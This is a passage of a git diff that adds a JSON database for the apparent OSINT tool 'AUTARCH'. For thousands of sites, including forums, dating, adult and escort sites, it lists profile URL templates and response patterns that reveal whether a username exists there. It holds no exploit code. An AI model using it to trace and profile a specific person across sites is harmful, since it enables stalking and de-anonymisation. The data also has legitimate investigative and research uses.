+ } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + } +} \ No newline at end of file diff --git a/data/sites/dh.json b/data/sites/dh.json new file mode 100644 index 0000000..3898586 --- /dev/null +++ b/data/sites/dh.json @@ -0,0 +1,76365 @@ +{ + "project": "darkHal Security Group - AUTARCH", + "version": "1.1", + "description": "Master sites database for username OSINT with detection patterns", + "total_sites": 8701, + "stats": { + "by_category": { + "forum": 5214, + "other": 1467, + "social": 438, + "tech": 332, + "gaming": 299, + "wiki": 217, + "art": 192, + "adult": 179, + "news": 89, + "shopping": 63, + "finance": 55, + "music": 54, + "professional": 36, + "video": 22, + "dating": 20, + "health": 9, + "torrent": 7, + "sports": 5, + "food": 3 + }, + "by_source": { + "snoop": 4322, + "maigret": 2872, + "social_analyzer": 584, + "blackbird": 421, + "sherlock": 173, + "cupidcr4wl": 142, + "detectdee": 73, + "reveal_my_name": 66, + "nexfil": 48 + }, + "by_error_type": { + "message": 4371, + "status_code": 2938, + "redirection": 938, + "response_url": 150 + } + }, + "sources": [ + "snoop", + "maigret", + "social_analyzer", + "blackbird", + "sherlock", + "cupidcr4wl", + "detectdee", + "reveal_my_name", + "nexfil" + ], + "categories": [ + "forum", + "other", + "social", + "tech", + "gaming", + "wiki", + "art", + "adult", + "news", + "shopping", + "finance", + "music", + "professional", + "video", + "dating", + "health", + "torrent", + "sports", + "food" + ], + "detection_fields": { + "error_type": "Detection method: status_code, message, response_url", + "error_code": "HTTP status code expected when user NOT found (e.g., 404)", + "error_string": "String present in response when user NOT found", + "match_code": "HTTP status code expected when user IS found (e.g., 200)", + "match_string": "String present in response when user IS found" + }, + "sites": [ + { + "name": "0-3.RU", + "url": "http://0-3.ru/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "0k.clan.su", + "url": "http://0k.clan.su/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "0x00sec", + "url": "https://0x00sec.org/u/{}", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "status_code", + "match_code": 200 + }, + { + "name": "0xffff", + "url": "https://0xffff.one/u/{}", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "status_code", + "match_code": 200 + }, + { + "name": "1001facts.ru", + "url": "http://1001facts.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "1001mem.ru", + "url": "http://1001mem.ru/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u042d\u0442\u043e\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442, \u0438\u043b\u0438 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043d." + }, + { + "name": "1001tracklists", + "url": "https://www.1001tracklists.com/user/{}/index.html", + "category": "music", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Sorry, the requested user is not valid!", + "match_string": "Info Page" + }, + { + "name": "101010.pl", + "url": "https://101010.pl/@{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "101vzvod.ucoz.ru", + "url": "http://101vzvod.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "101xp.com", + "url": "https://forum-ru.101xp.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "11x2", + "url": "https://11x2.com/user/home/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "123rf", + "url": "https://ru.123rf.com/profile_{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "1337x", + "url": "https://1337x.to/user/{}/", + "category": "torrent", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Bad Username.", + "match_string": "Join Date" + }, + { + "name": "1337x", + "url": "https://www.1337x.to/user/{}/", + "category": "torrent", + "source": "sherlock", + "nsfw": false, + "error_type": "message", + "error_string": "Error something went wrong." + }, + { + "name": "1337x", + "url": "http://1337x.to/user/{}/", + "category": "torrent", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "Error something went wrong" + }, + { + "name": "162nord.org", + "url": "http://162nord.org/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "1911forum", + "url": "https://www.1911forum.com/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "1Baiser", + "url": "https://en.1baiser.com/search?q={}", + "category": "dating", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "No results were found", + "match_string": "Model " + }, + { + "name": "1klas.3dn.ru", + "url": "http://1klas.3dn.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "1point3acres", + "url": "https://www.1point3acres.com/bbs/space-username-{}.html", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "message", + "match_code": 200 + }, + { + "name": "1x", + "url": "https://1x.com/{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "1x.com \u2022 In Pursuit of the Sublime", + "match_string": " onload=" + }, + { + "name": "1xforum", + "url": "https://1xforum.com/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "21buttons", + "url": "https://www.21buttons.com/buttoner/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "not-found__main", + "match_string": "profile-info" + }, + { + "name": "23hq", + "url": "http://www.23hq.com/{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "my-modal", + "match_string": "frame" + }, + { + "name": "24", + "url": "https://24.wikia.com/wiki/User:{}", + "category": "gaming", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "247CTF", + "url": "https://247ctf.com/progress/{}", + "category": "tech", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 302, + "error_string": "

    Redirecting...

    ", + "match_code": 200, + "match_string": "property=\"og:url\"" + }, + { + "name": "247sports", + "url": "https://247sports.com/user/{}/", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "247sports", + "url": "https://247sports.com/User/{}/", + "category": "gaming", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "247Sports", + "match_code": 200, + "match_string": "3DMir.ru - ", + "match_string": "
    " + }, + { + "name": "3dnews", + "url": "http://forum.3dnews.ru//member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "3DNews", + "url": "https://forum.3dnews.tech/member.php?username={}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d", + "match_code": 200, + "match_string": "\u041f\u0440\u043e\u0441\u043c\u043e\u0442\u0440 \u043f\u0440\u043e\u0444\u0438\u043b\u044f:" + }, + { + "name": "3DNews", + "url": "http://forum.3dnews.ru/member.php?username={}", + "category": "social", + "source": "reveal_my_name", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430.", + "match_code": 200, + "match_string": "\u0424\u043e\u0440\u0443\u043c 3DNews - \u041f\u0440\u043e\u0441\u043c\u043e\u0442\u0440 \u043f\u0440\u043e\u0444\u0438\u043b\u044f:" + }, + { + "name": "3dtoday", + "url": "https://3dtoday.ru/blogs/{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "3glaz.org", + "url": "http://3glaz.org/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "3rm", + "url": "https://3rm.info/user/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "42km", + "url": "http://www.42km.ru/c?name={}&x=0&y=0&country_id=1&town_id=0&sex=0&grade_id=0", + "category": "sports", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e" + }, + { + "name": "4399", + "url": "https://ptlogin.4399.com/ptlogin/isExist.do?username={}&appId=u4399®Mode=reg_normal&v=2", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "message", + "match_code": 200 + }, + { + "name": "440101.3dn.ru", + "url": "http://440101.3dn.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "4948.ru", + "url": "http://4948.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "4allforum", + "url": "https://4allforum.ru/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f" + }, + { + "name": "4cheat", + "url": "https://4cheat.ru/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "4gameforum", + "url": "https://4gameforum.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "4gameforum", + "url": "https://4gameforum.com/members/?username={}", + "category": "gaming", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "
    " + }, + { + "name": "4pda", + "url": "https://4pda.ru/forum/index.php?act=search&source=pst&noform=1&username={}", + "category": "tech", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e, \u0412\u0430\u0448 \u043f\u043e\u0438\u0441\u043a \u043d\u0435 \u0434\u0430\u043b \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432." + }, + { + "name": "4pda", + "url": "https://4pda.to/forum/index.php?act=search&source=pst&noform=1&username={}", + "category": "tech", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e, \u0412\u0430\u0448 \u043f\u043e\u0438\u0441\u043a \u043d\u0435 \u0434\u0430\u043b \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432." + }, + { + "name": "4stor", + "url": "https://4stor.ru/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "4x4_tomsk", + "url": "http://4x4.tomsk.ru/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "500px", + "url": "https://500px.com/p/{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "No message available" + }, + { + "name": "50cc.com.ua", + "url": "http://50cc.com.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "52pojie", + "url": "https://www.52pojie.cn/forum.php?mod=ajax&inajax=yes&infloat=register&handlekey=register&ajaxmenu=1&action=checkusername&username={}", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "message", + "match_code": 200 + }, + { + "name": "5escorts", + "url": "https://www.5escorts.com/search/?keyword={}&category=ads", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "Could not find what you were looking for?", + "match_string": "/ads/details/" + }, + { + "name": "5i8.ucoz.ru", + "url": "http://5i8.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "5level.ucoz.net", + "url": "http://5level.ucoz.net/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "63148.com.ua", + "url": "http://63148.com.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "655iap.ucoz.ru", + "url": "http://655iap.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "74507.ucoz.ru", + "url": "http://74507.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "78-3.do.am", + "url": "http://78-3.do.am/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "7Cups", + "url": "https://www.7cups.com/@{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "7Cups", + "url": "https://7cups.com/@{}", + "category": "social", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "Not Found", + "match_string": "Profile - 7 Cups" + }, + { + "name": "7dach", + "url": "https://7dach.ru/profile/{}", + "category": "food", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "7x.net.ua", + "url": "http://7x.net.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "7ya", + "url": "https://blog.7ya.ru/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "8tracks.com", + "url": "https://8tracks.com/{}", + "category": "music", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "This page has vanished, or perhaps it never even existed...", + "match_string": "Following" + }, + { + "name": "90sec", + "url": "https://forum.90sec.com/u/check_username?username={}&email=", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "message", + "match_code": 200 + }, + { + "name": "96.moy.su", + "url": "http://96.moy.su/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "999.md", + "url": "https://999.md/ru/profile/{}", + "category": "finance", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "error-404-page", + "match_string": "user-profile" + }, + { + "name": "99designs.com", + "url": "https://99designs.com/profiles/{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "mobile-only", + "match_string": "profileUrl" + }, + { + "name": "9GAG", + "url": "https://www.9gag.com/u/{}", + "category": "news", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "9Gag", + "url": "https://9gag.com/u/{}", + "category": "news", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "There's nothing here", + "match_string": "og:title" + }, + { + "name": "9interi.3dn.ru", + "url": "http://9interi.3dn.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "aaha_chat", + "url": "https://www.aahachat.org/profile/{}/", + "category": "social", + "source": "reveal_my_name", + "nsfw": false, + "error_type": "status_code", + "error_code": 301, + "error_string": "Aaha Chat Rooms - ", + "match_code": 200, + "match_string": "og:title" + }, + { + "name": "Aahachat", + "url": "https://aahachat.org/profile/{}/", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "full-profile" + }, + { + "name": "Aback", + "url": "https://aback.com.ua/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0441 \u0442\u0430\u043a\u0438\u043c \u0438\u043c\u0435\u043d\u0435\u043c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d." + }, + { + "name": "abc-accounting.ucoz.net", + "url": "http://abc-accounting.ucoz.net/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "abho.ru", + "url": "http://abho.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Abirvalg", + "url": "https://abirvalg.net/forum/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Able2know", + "url": "https://able2know.org/user/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Abordazh", + "url": "https://abordazh.com/forum/users/?PAGE_NAME=user_list&user_name={}&date_last_visit1=&date_last_visit2=&sort=NUM_POSTS&set_filter=%D0%A4%D0%B8%D0%BB%D1%8C%D1%82%D1%80", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "</script>\n<script>\nvar bx_basketT0kNhm" + }, + { + "name": "About.me", + "url": "https://about.me/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Aboutcar", + "url": "http://aboutcar.ru/members/{}.html", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + }, + { + "name": "AboutUS", + "url": "https://aboutus.com/User:{}", + "category": "wiki", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "is not registered" + }, + { + "name": "Academia.edu", + "url": "https://independent.academia.edu/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "accounts.eclipse.org", + "url": "https://accounts.eclipse.org/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "ACF", + "url": "https://support.advancedcustomfields.com/forums/users/{}/", + "category": "tech", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "Page Not Found", + "match_code": 200, + "match_string": "<title>ACF Support" + }, + { + "name": "Acomics", + "url": "https://acomics.ru/-{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "actikom.ucoz.ru", + "url": "http://actikom.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "actual-porn.org", + "url": "http://actual-porn.org/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "adblockplus.org", + "url": "https://adblockplus.org/forum/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "No suitable matches were found.", + "match_string": "searchresults" + }, + { + "name": "admin-soft.ucoz.ru", + "url": "http://admin-soft.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "AdmireMe.Vip", + "url": "https://admireme.vip/{}", + "category": "adult", + "source": "sherlock", + "nsfw": true, + "error_type": "message", + "error_string": "Page Not Found" + }, + { + "name": "AdmireMe.VIP", + "url": "https://admireme.vip/{}/", + "category": "adult", + "source": "blackbird", + "nsfw": true, + "error_type": "status_code", + "error_code": 404, + "error_string": "<title>Page Not Found |", + "match_code": 200, + "match_string": "creator-stat subscriber" + }, + { + "name": "Adore", + "url": "https://adore.one/en/users/{}", + "category": "adult", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "profile-images" + }, + { + "name": "Adult Look (International)", + "url": "https://www.adultlook.com/search/?query={}&rq={}&advanced=1", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "No results found to show", + "match_string": "results found</span>" + }, + { + "name": "Adult_Forum", + "url": "https://adultforum.gr/{}-glamour-escorts/", + "category": "adult", + "source": "blackbird", + "nsfw": true, + "error_type": "status_code", + "error_code": 404, + "error_string": "Page not found - Adult Forum Gr", + "match_code": 200, + "match_string": "Glamour Escorts " + }, + { + "name": "Adultdvdtalk", + "url": "https://www.adultdvdtalk.com/profile/{}", + "category": "adult", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "AdultFriendFinder", + "url": "https://adultfriendfinder.com/profile/{}", + "category": "adult", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "<select name=\"REG_sex\" >" + }, + { + "name": "Adultism", + "url": "https://adultism.com/profile/{}", + "category": "adult", + "source": "social_analyzer", + "nsfw": true, + "error_type": "message", + "match_string": "\"nick\"" + }, + { + "name": "AdvancedCustomFields", + "url": "https://support.advancedcustomfields.com/forums/users/{}", + "category": "tech", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Sorry, page not found" + }, + { + "name": "Advego", + "url": "https://advego.com/profile/{}/author/", + "category": "professional", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "ADVFN", + "url": "https://uk.advfn.com/forum/profile/{}", + "category": "finance", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "ADVFN ERROR - Page Not Found", + "match_code": 200, + "match_string": "Profile | ADVFN" + }, + { + "name": "Aelita", + "url": "http://iaelita.ru/profile/{}/", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "aetherhub", + "url": "https://aetherhub.com/User/{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Affiliatefix", + "url": "https://www.affiliatefix.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Affiliatefix", + "url": "https://www.affiliatefix.com/members/?username={}", + "category": "social", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "aflam", + "url": "https://www.aflam4you.net/profile.html?u={}", + "category": "other", + "source": "reveal_my_name", + "nsfw": false, + "error_type": "status_code", + "error_code": 302, + "error_string": "Plz Visit", + "match_code": 200, + "match_string": ") on \u0628\u062b \u062d\u064a \u0648 \u0645\u0628\u0627\u0634\u0631" + }, + { + "name": "AfreecaTV", + "url": "http://bjapi.afreecatv.com/api/{}/station", + "category": "video", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Blog does not exist.", + "match_string": "profile_text" + }, + { + "name": "afsoc.ucoz.ru", + "url": "http://afsoc.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Afterellen", + "url": "https://forums.afterellen.com/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The specified member cannot be found" + }, + { + "name": "AG", + "url": "https://ag.ru/@{}", + "category": "social", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "profile-head__name__single-word__name\"></div></div></h1></div>" + }, + { + "name": "Agniyogaineverydaylife_CLOSEDEAD", + "url": "http://agniyogaineverydaylife.bestforums.org/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Agro", + "url": "https://agro-ua.org.ua/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "ahera.ru", + "url": "http://ahera.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "aikido-mariupol.ucoz.ru", + "url": "http://aikido-mariupol.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Airbit", + "url": "https://airbit.com/{}", + "category": "music", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Airline_Pilot_Life", + "url": "https://airlinepilot.life/u/{}.json", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "he requested URL or resource could not be found.", + "match_code": 200, + "match_string": "primary_group_name" + }, + { + "name": "airlinepilot.life", + "url": "https://airlinepilot.life/u/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Airliners", + "url": "https://www.airliners.net/user/{}/profile/photos", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Airliners", + "url": "https://www.airliners.net/user/{}/profile", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "An Error Occurred", + "match_code": 200, + "match_string": "'s Profile | Airliners Members | Airliners.net" + }, + { + "name": "Airliners", + "url": "https://airliners.net/user/{}/profile/photos", + "category": "art", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "user-follower-button" + }, + { + "name": "Akbrny", + "url": "https://akbrny.com/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "profile-social" + }, + { + "name": "Akforum", + "url": "https://akforum.ru/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "akniga", + "url": "https://akniga.org/profile/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "aktualno.lv", + "url": "http://aktualno.lv/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Alabay", + "url": "https://alabay.forum24.ru/?32-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0437\u0430\u0431\u0430\u043d\u0435\u043d \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u0435\u043d" + }, + { + "name": "Albicla", + "url": "https://albicla.com/{}/post/1", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "404 Nie znaleziono u\u017cytkownika", + "match_code": 500, + "match_string": "500 Post tymczasowo niedost\u0119pny" + }, + { + "name": "aleks2.ru", + "url": "http://aleks2.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Alexgyver", + "url": "https://community.alexgyver.ru/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Alexgyver", + "url": "https://community.alexgyver.ru/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "algowiki-project.org", + "url": "https://algowiki-project.org/en/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "ali213", + "url": "https://game.ali213.net/space-username-{}.html", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "message", + "match_code": 200 + }, + { + "name": "Aliensoup", + "url": "https://aliensoup.com/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "aliensoup.com", + "url": "https://aliensoup.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "alik", + "url": "https://www.alik.cz/u/{}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "<title>Vizitka nenalezena", + "match_code": 200, + "match_string": "Vizitka \u2013 Al\u00edk.cz" + }, + { + "name": "Alik", + "url": "https://alik.cz/u/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "user-" + }, + { + "name": "alikgor.at.ua", + "url": "http://alikgor.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "alimero.ru", + "url": "https://alimero.ru/profile/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + 